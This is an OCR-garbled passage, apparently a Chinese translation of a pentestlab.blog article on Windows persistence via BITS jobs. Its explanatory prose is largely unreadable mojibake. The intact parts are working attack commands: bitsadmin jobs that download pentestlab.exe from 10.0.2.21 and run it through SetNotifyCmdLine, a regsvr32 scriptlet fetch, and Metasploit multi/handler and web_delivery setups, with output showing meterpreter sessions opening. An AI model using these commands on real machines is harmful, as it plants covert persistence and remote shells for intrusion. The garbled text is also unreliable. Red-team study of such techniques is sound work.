WMMW%WﬁﬁﬁﬁA%W*%EV,%% @mmu@%KM%m THEFMES . XLELHARTFZ—

G B R RIS (BITS) |, ©rLMEdEScir2IWebfRss# (HTTP) itk ff (SMB) 1%
%uﬁbjjo Dﬂlcrosoftﬁgﬁ\17—44\4%jj“tntsadrnln”Eﬁgg9#%th##$ﬂpovver8hellcnndlet, T 608
B

MG ARG, WU IhRE, DMEAESZ BGRB8 s (Al T 3ett,
PowerShellffi7, Scriptlet®s) JfFfELGEI MPUTIRLE SR, LIAELLBARAE R AL, (2, 5¢
bitsadmin ” P73 B HEE L AHBIFAIR . $ATAT i@ 2B R A B AR AL B R 38 A
B

bitsadmin /transfer backdoor /download /priority high
http://10.0.2.21/pentestlab.exe C:\tmp\pentestlab.exe

B Administrator: pappr) EVTOAWV

DISPLAY: ‘'backdoor' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: HIGH FILES: 1 / 1 BYTES: 7168 / 7168 (100%)
ransfer complete.

C:\Windows\system32>_

Bitsadmin — SC¢F £
A —-PowerShell cndlet n] AP AT AR 4TS5

Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination
"C:\tmp\pentestlab.exe"

:SWindowsnwsystem3d2?> Start-BitsTransfer
sWindowsssystem32>

BitsTrasfer — &4 #4-PowerShell

WSS 5 , AT L@ A bitsadmin ” SRR FP AT LR fr &R SEBRF A TR AR R AR

L fER ST EA Rl 1 24 7R
2. 1Zaddfile 5 2R H L R i BRI A B 122
3. iZSetNotifyCmdLine5 /711 iy 4



4. fiikSetMinRetryDelay i i [][EE (7))
5. VR S A4 B L.

bitsadmin /create backdoor

bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe"
"C:\tmp\pentestlab.exe"

bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL

bitsadmin /SetMinRetryDelay "backdoor" 60

bitsadmin /resume backdoor

crosoft Windows [Version 10.8.17763.678]
2018 Microsoft Corporation. Me emipuAagn kabe voéprpou dikalwpatog.

C:\Windows\system32>bitsadmin /create backdoor
BITSADMIN version 3.0
inistration utility.

ight Microsoft Corp.

Created job {54FCeB1F-D@IF-4938-B9B9-D7DC2D558979}.

C:\Windows\system32>bitsadmin /addfile backdoor "http://10.8.2.21/pentestlab.exe™ "C:\tmp\pentestlab.exe"

BITSADMIN version 3.8
BITS administration utility.
(C) Copyright Microsoft Corp.

Added http://10.0.2.21/pentestlab.exe -> C:\tmp\pentestlab.exe to job.
C:\Windows\system32>bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL
BITSADMIN version 3.0

BITS administration utility.

(C) Copyright Microsoft Corp.

notification command line set to "C:\tmp\pentestlab.exe' "'NUL'.
C:\Window ystem32>bitsadmin /resume backdoor

BITSADMIN version 3.8

BITS administration utility.

(C) Copyright Microsoft Corp.

Job resumed.

FEAME--BITS Jobs Y iEllfE R4 BisfTiy, AREN T, Meterpreter i 17T, il
Rl mlay S s (BuRTHaHEHCc2) .

use multi/handler
msf5 exploit( ) = set payload windows/x64/meterpreter/reverse tecp
payload => windows/x64/meterpreter/reverse tcp
msf5 exploit( > set LHOST 10.0.2.21
LHOST == 10.0.2.21
msf5 exploit( ) = exploit

[*] Started reverse TCP handler on 10.0.2.21:4444

[#] Sending stage (206403 bytes) to 10.8.2.30

[#] Meterpreter sion 1 opened (10.0.2.21:4444 -> 10.0.2.30:49713) at 2019-18-28 09:
57:09 -0400

F Ak — BITS Jobs Meterpreter



z#SetNotifyCmdLineth,r] UL T i regsvr 3252 F AR ¢ ML F2 7 B i frscriptlet o 53X A0
AR AR, IF BT LLREI b AR e 51N 44 B o

bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u
/i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll"

bitsadmin /resume backdoor

>bitsadmin /SetNotifyCmdLine backdoor re

notification command line set to ‘regsvr32.exe' '/s /n fu /fi: 7://10.8.2.21:8088/FHXSd9.sct sc

sadmin /resume backdoo

Job resumed.

BITS Jobs — Regsvr32

MetasploitHz e ] /] i i Websg Mg # A %0 148

use exploit/multi/script/web delivery

set target 3

set payload windows/x64/meterpreter/reverse tcp
set LHOST 10.0.2.21

exploit

msf5 = use exploit/multi/script/web delivery
msf5 exploit( set
target == 3
msf5 exploit( = yload windows/x64/meterpreter/reverse
tcp
payload => windows/x64/meterpreter/
exploit(

LHOST 10.0.2.21
msf5 exploit( exploit
[#] Expleit running as background job ©.

Exploit completed, but no session was created.

Started reverse TCP handler on 18.0.2.21:4444
Using URL: http://0.0.0.0:8080/1TnfTir6clLch
Local IP: http://127.0.0.1:8080/1Tnfir6clLcS
Server started.
Run the following command on the target machine:
regsvr3z /s /n fu fi:http://10.0.2.21:8080/1TnTir6cLc5.sct scrobj.dll
msf5 exploit( ) = [*] Sending stage (206403 bytes) to 10.0.2.3

Meterpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.30:49714) at 2019-10-28 10:
-0400

BITS Jobs — Regsvr32



https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/

IFEX A : KX ABYpaSS BIEFEFNIE, (T L7 {172 o
JA X ) https://pentestlab.blog/2019/10/30/persistence-bits-jobs/
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